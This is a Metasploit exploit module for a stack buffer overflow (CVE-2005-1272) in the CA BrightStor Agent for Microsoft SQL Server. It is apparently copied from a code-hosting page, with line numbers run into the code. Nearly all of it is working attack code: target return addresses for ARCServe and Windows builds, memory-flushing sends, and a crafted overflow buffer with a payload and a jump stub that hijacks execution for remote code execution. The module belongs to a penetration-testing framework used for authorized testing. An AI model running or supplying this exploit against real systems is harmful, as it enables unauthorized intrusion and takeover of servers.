Path: blob/master/modules/exploits/windows/brightstor/sql_agent.rb
31172 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',15'Description' => %q{16This module exploits a vulnerability in the CA BrightStor17Agent for Microsoft SQL Server. This vulnerability was18discovered by cybertronic[at]gmx.net.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2005-1272'],24[ 'OSVDB', '18501' ],25[ 'BID', '14453'],26[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],27[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],28],29'Privileged' => true,30'Payload' => {31'Space' => 1000,32'BadChars' => "\x00",33'StackAdjustment' => -350034},35'Targets' => [36# This exploit requires a jmp esp for return37['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp38['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret39['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret4041# Generic jmp esp's42['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp43['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp44['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret45['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret46['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret47['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret48],49'DisclosureDate' => '2005-08-02',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61Opt::RPORT(6070)62]63)64end6566def exploit67print_status("Trying target #{target.name}...")6869# The 'one line' request does not work against Windows 2003701.upto(5) do |_i|71# Flush some memory72connect73begin74sock.put("\xff" * 0x12000)75sock.get_once76rescue StandardError77end78disconnect7980# 3288 bytes max81# 696 == good data (1228 bytes contiguous) @ 0293f5e082# 3168 == return address83# 3172 == esp @ 0293ff8c (2476 from good data)8485buf = rand_text_english(3288, payload_badchars)86buf[696, payload.encoded.length] = payload.encoded87buf[3168, 4] = [target.ret].pack('V') # jmp esp88buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -24768990connect91begin92sock.put(buf)93sock.get_once94rescue StandardError95end9697handler98disconnect99end100end101end102103104